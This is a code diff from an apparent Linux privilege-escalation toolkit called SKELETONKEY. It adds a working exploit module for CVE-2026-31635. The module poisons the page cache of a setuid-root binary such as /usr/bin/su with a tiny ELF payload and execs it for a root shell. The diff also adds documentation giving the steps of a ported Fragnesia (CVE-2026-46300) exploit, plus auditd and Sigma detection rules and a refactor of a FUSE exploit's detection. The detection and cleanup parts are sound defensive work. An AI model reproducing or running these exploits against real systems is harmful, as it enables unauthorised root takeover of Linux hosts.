||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: kernel %s appears VULNERABLE "
|
||||||
|
"(in 7.0-rc window before commit a2567217; version-only)\n"
|
||||||
|
" Confirm empirically: skeletonkey --scan --active\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit ------------------------------------------------------ */
|
||||||
|
|
||||||
|
/* Runs in a forked child: corrupt the target's page cache, then either
|
||||||
|
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
|
||||||
|
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
|
||||||
|
static void dd_child(const char *target_path, int no_shell)
|
||||||
|
{
|
||||||
|
int rfd = open(target_path, O_RDONLY);
|
||||||
|
if (rfd < 0) { perror("open target"); _exit(2); }
|
||||||
|
struct stat sb;
|
||||||
|
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
|
||||||
|
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); _exit(2); }
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
|
||||||
|
close(sock);
|
||||||
|
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
|
||||||
|
sb.st_size, target_path) < 0 ? 2 : 0);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
||||||
|
ERR("page-cache corruption failed (status 0x%x)", st);
|
||||||
|
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (no_shell) {
|
||||||
|
LOG("--no-shell: page cache poisoned, shell not spawned");
|
||||||
|
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("page cache poisoned; exec %s to claim root", target_path);
|
||||||
|
fflush(NULL);
|
||||||
|
execlp(target_path, target_path, (char *)NULL);
|
||||||
|
perror("execlp target");
|
||||||
|
_exit(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
if (geteuid() == 0) {
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *target = dd_pick_target();
|
||||||
|
if (!target) {
|
||||||
|
ERR("no readable setuid-root binary to use as a carrier");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
LOG("target carrier: %s", target);
|
||||||
|
|
||||||
|
/* Record the target so cleanup() knows what to evict. */
|
||||||
|
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
|
||||||
|
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
|
||||||
|
|
||||||
|
srand(time(NULL) ^ getpid());
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pid == 0)
|
||||||
|
dd_child(target, ctx->no_shell); /* never returns on shell path */
|
||||||
|
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (!WIFEXITED(st))
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
switch (WEXITSTATUS(st)) {
|
||||||
|
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- cleanup ------------------------------------------------------ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
char target[256] = {0};
|
||||||
|
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
|
||||||
|
if (sf >= 0) {
|
||||||
|
ssize_t n = read(sf, target, sizeof(target) - 1);
|
||||||
|
if (n > 0) target[n] = '\0';
|
||||||
|
close(sf);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target[0]) {
|
||||||
|
LOG("evicting %s from page cache", target);
|
||||||
|
dd_evict(target);
|
||||||
|
unlink("/tmp/skeletonkey-dirtydecrypt.target");
|
||||||
|
} else {
|
||||||
|
LOG("no recorded target; evicting all candidate carriers");
|
||||||
|
for (int i = 0; dd_targets[i]; i++)
|
||||||
|
dd_evict(dd_targets[i]);
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
|
||||||
|
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ---- detection rules (embedded) ----------------------------------- */
|
||||||
|
|
||||||
|
static const char dd_auditd[] =
|
||||||
|
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
|
||||||
|
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
|
||||||
|
"# Watches every payload carrier in dd_targets[] plus credential files.\n"
|
||||||
|
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
|
||||||
|
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
|
||||||
|
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
|
||||||
|
"# rxrpc security keys added to the keyring\n"
|
||||||
|
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
|
||||||
|
"# splice() drives the page-cache pages into the forged DATA packet\n"
|
||||||
|
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||||
|
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||||
|
|
||||||
|
static const char dd_sigma[] =
|
||||||
|
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||||
|
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
|
||||||
|
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
|
||||||
|
" followed by modification of a setuid-root binary or /etc/passwd.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" modification:\n"
|
||||||
|
" type: 'PATH'\n"
|
||||||
|
" name|startswith: ['/usr/bin/su', '/bin/su', '/usr/bin/mount',\n"
|
||||||
|
" '/usr/bin/passwd', '/usr/bin/chsh', '/etc/passwd', '/etc/shadow']\n"
|
||||||
|
" not_root:\n"
|
||||||
|
" auid|expression: '!= 0'\n"
|
||||||
|
" condition: modification and not_root\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module dirtydecrypt_module = {
|
||||||
|
.name = "dirtydecrypt",
|
||||||
|
.cve = "CVE-2026-31635",
|
||||||
|
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
|
||||||
|
.family = "dirtydecrypt",
|
||||||
|
.kernel_range = "Linux 7.0 (vulnerable rxgk code added in 7.0); mainline fix commit a2567217 in 7.0",
|
||||||
|
.detect = dd_detect,
|
||||||
|
.exploit = dd_exploit,
|
||||||
|
.mitigate = NULL,
|
||||||
|
.cleanup = dd_cleanup,
|
||||||
|
.detect_auditd = dd_auditd,
|
||||||
|
.detect_sigma = dd_sigma,
|
||||||
|
.detect_yara = NULL,
|
||||||
|
.detect_falco = NULL,
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_dirtydecrypt(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&dirtydecrypt_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
# fragnesia — CVE-2026-46300
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||||
|
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||||
|
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||||
|
escalation. `skb_try_coalesce()` fails to propagate the
|
||||||
|
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||||
|
buffers — so the kernel forgets that a fragment is externally backed by
|
||||||
|
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||||
|
then decrypts in place, corrupting the page cache of a read-only file.
|
||||||
|
|
||||||
|
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||||
|
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||||
|
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||||
|
Fail / Dirty Frag, reached through a different code path.
|
||||||
|
|
||||||
|
## Primitive
|
||||||
|
|
||||||
|
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||||
|
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||||
|
whose keystream byte XORs the current byte to the target.
|
||||||
|
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||||
|
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||||
|
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||||
|
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||||
|
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||||
|
target file into that TCP stream behind a crafted ESP prefix.
|
||||||
|
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||||
|
pages in place — one chosen byte per trigger.
|
||||||
|
|
||||||
|
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||||
|
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||||
|
0 and `execve`s `/bin/sh`.
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||||
|
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||||
|
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||||
|
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||||
|
(or chain a separate bypass). This is the scoping question the old
|
||||||
|
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||||
|
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||||
|
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||||
|
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||||
|
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||||
|
|
||||||
|
## Port notes
|
||||||
|
|
||||||
|
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||||
|
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||||
|
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||||
|
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||||
|
The exploit mechanism itself is reproduced faithfully.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||||
|
into the SKELETONKEY module interface. The **exploit body** has not
|
||||||
|
been validated end-to-end against a known-vulnerable kernel inside the
|
||||||
|
SKELETONKEY CI matrix.
|
||||||
|
|
||||||
|
**`detect()` is now version-pinned**: the Fragnesia fix ships in
|
||||||
|
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
|
||||||
|
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
|
||||||
|
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
|
||||||
|
6.12) are currently still vulnerable per the tracker. With `--active`,
|
||||||
|
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
|
||||||
|
and reports empirically — catches stable-branch backports the version
|
||||||
|
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
|
||||||
|
primitive is structurally unreachable.
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** validate the exploit end-to-end on a
|
||||||
|
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
|
||||||
|
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
# NOTICE — fragnesia
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||||
|
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||||
|
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||||
|
buffers, so the kernel loses track of the fact that a fragment is
|
||||||
|
externally backed by page-cache pages spliced in from a file. The
|
||||||
|
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||||
|
cache of a read-only file.
|
||||||
|
|
||||||
|
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||||
|
the candidate fix explicitly cites the Dirty Frag patch
|
||||||
|
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||||
|
made a previously latent flaw practically exploitable.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **William Bowling** with the **V12 security** team.
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||||
|
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||||
|
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||||
|
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||||
|
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||||
|
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||||
|
192-byte ELF payload — is reproduced from that PoC.
|
||||||
|
|
||||||
|
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||||
|
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||||
|
**not** carried over — it is incompatible with running as one module
|
||||||
|
among many under a shared dispatcher. Progress is reported with
|
||||||
|
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||||
|
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||||
|
support, and the embedded detection rules. Research credit belongs to
|
||||||
|
the people above.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||||
|
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||||
|
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||||
|
module — see `MODULE.md`.
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||||
|
#
|
||||||
|
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||||
|
# read-only file. These rules flag the syscall surface the exploit
|
||||||
|
# drives and writes to the setuid binaries it targets.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# Modification of common payload carriers / credential files
|
||||||
|
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||||
|
|
||||||
|
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||||
|
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||||
|
|
||||||
|
# XFRM state setup over NETLINK_XFRM
|
||||||
|
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||||
|
|
||||||
|
# TCP_ULP espintcp + ESP setsockopt surface
|
||||||
|
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||||
|
|
||||||
|
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||||
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||||
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||||
|
id: 9b3d2e71-skeletonkey-fragnesia
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-modification footprint of the Fragnesia XFRM
|
||||||
|
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||||
|
of a setuid-root binary or credential file, typically inside a
|
||||||
|
freshly created user + network namespace.
|
||||||
|
references:
|
||||||
|
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||||
|
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
modification:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/usr/bin/su'
|
||||||
|
- '/bin/su'
|
||||||
|
- '/etc/passwd'
|
||||||
|
- '/etc/shadow'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: modification and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.46300
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
|
||||||
|
#define FRAGNESIA_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module fragnesia_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -59,15 +59,21 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
@@ -153,57 +159,53 @@ static const struct kernel_range fuse_legacy_range = {
|
|||||||
sizeof(fuse_legacy_patched_branches[0]),
|
sizeof(fuse_legacy_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns_mount(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* detect */
|
/* detect */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||||
* kernels predate the code path entirely. */
|
* kernels predate the code path entirely. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
/* user_ns availability comes from the shared host fingerprint. The
|
||||||
|
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
|
||||||
|
* needs CLONE_NEWNS, but the kernel gates both on the same userns
|
||||||
|
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
|
||||||
|
* so the userns probe is a sound proxy. */
|
||||||
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
@@ -378,7 +380,6 @@ struct fuse_arb_ctx {
|
|||||||
bool trigger_armed;
|
bool trigger_armed;
|
||||||
};
|
};
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||||
void *ctx_void)
|
void *ctx_void)
|
||||||
{
|
{
|
||||||
@@ -504,15 +505,6 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
(unsigned long)kaddr);
|
(unsigned long)kaddr);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#else
|
|
||||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|
||||||
void *ctx_void)
|
|
||||||
{
|
|
||||||
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
|
|
||||||
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* exploit */
|
/* exploit */
|
||||||
@@ -526,8 +518,11 @@ static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ct
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* (R2) Refuse if already root — no LPE work to do. */
|
/* (R2) Refuse if already root — no LPE work to do. Consult
|
||||||
if (geteuid() == 0) {
|
* ctx->host first so unit tests can construct a non-root
|
||||||
|
* fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
